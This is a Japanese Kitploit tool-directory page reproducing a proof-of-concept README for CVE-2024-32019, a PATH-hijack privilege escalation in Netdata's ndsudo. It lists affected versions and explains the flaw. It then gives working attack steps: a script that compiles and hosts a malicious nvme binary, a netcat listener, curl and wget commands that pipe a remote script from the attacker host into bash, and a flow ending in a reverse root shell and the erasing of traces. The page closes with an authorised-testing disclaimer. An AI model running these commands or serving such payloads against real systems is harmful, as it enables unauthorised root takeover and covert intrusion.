Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-32019-PoC — 「ndsudo」(Netdata ローカルエクスプロイト)による特権昇格のためのBashスクリプト | Kitploit
ツール/GitHubGitHub/80ottanta80/cve-2024-32019-poc
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育ラボと実践
GitHub80ottanta80/cve-2024-32019-poc

CVE-2024-32019-PoC

「ndsudo」(Netdata ローカルエクスプロイト)による特権昇格のためのBashスクリプト

リポジトリを見る
1310ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-32019-PoC

「ndsudo」を利用した権限昇格のためのBashスクリプト(Netdata Local Exploit)

影響を受けるNetdataのバージョン

  • >= v1.45.0, < v1.45.3

  • >= v1.44.0-60, < v1.45.0-169

脆弱性の説明

「ndsudo」ツールは外部コマンドの限定されたセットを実行しますが、検索パスは「PATH」環境変数によって提供されます。

「PATH」環境変数をアクセス可能なパスに変更することで、ndsudoがコマンドを検索する場所を制御し、悪意のあるコードを含むコマンドを作成できます。

概念実証

このエクスプロイトは、対象マシンと攻撃者マシンが同じネットワーク上にあるという前提に基づいています。

前提条件

攻撃者マシン

  • ポート4444でのリスナー
  • 悪意のあるnvmeバイナリをホストするWebサーバー

対象マシン:

  • ローカルシェルへのアクセス
  • ndsudoを実行する権限
  • ペイロードダウンロードのためのwget/curl/任意のHTTPクライアント

使用方法

攻撃者マシン上

「setup_exploit_server.sh」を実行することで、攻撃に必要なファイルを自動的に生成および展開できます。

$ ./setup_exploit_server.sh YOUR_IP

--------- Exploit Infrastructure Setup by Ottanta ---------

[+] Using server IP: YOUR_IP
[+] Creating exploit directory: /tmp/exploit
[+] Creating ndsudo_pe.sh script file...
[+] Creating nvme.c exploit file...
[+] Compiling nvme binary...
[+] nvme binary compiled successfully
[+] Starting web server on port 80...
[+] Web server started with PID: 9350
[+] nvme binary is available at: http://YOUR_IP/nvme
[!] Now run the privilege escalation exploit in the victim terminal
[!] Make sure to start listener: nc -nlvp 4444

Press Enter to stop the web server and clean up...

このスクリプトは、あなたのIPアドレスで設定された攻撃に必要なすべてのファイルを作成します。

Webサーバーを展開した後、別のシェルでリスナーを起動します:

# We start a listener with Netcat, but you can use anything else
$ nc -nlvp 4444
listening on [any] 4444 ...

対象マシン上

HTTPクライアントに応じて、エクスプロイトをダウンロードして実行できます。

# If we have curl
$ curl -L http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP

# If we have wget
$ wget -qO- http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP

すべてが正しく行われた場合、ルートシェルが取得できているはずです。

代替テキスト

エクスプロイトの流れ

  1. 悪意のあるバイナリを /tmp/exploit/ にダウンロード
  2. PATHを変更して制御されたディレクトリを優先
  3. ndsudo nvme-listを実行し、悪意のあるバイナリを実行
  4. 攻撃者マシンへのリバースシェルを確立
  5. 痕跡を消去

参照

  • https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93
  • https://nvd.nist.gov/vuln/detail/CVE-2024-32019

法的免責事項

この概念実証は、教育および許可されたテスト目的のみのためのものです。

所有していない、または明示的なテスト許可を得ていないシステムに対する未承認の使用は違法です。

著者は、この情報の誤用について一切責任を負いません。

ツールをダウンロード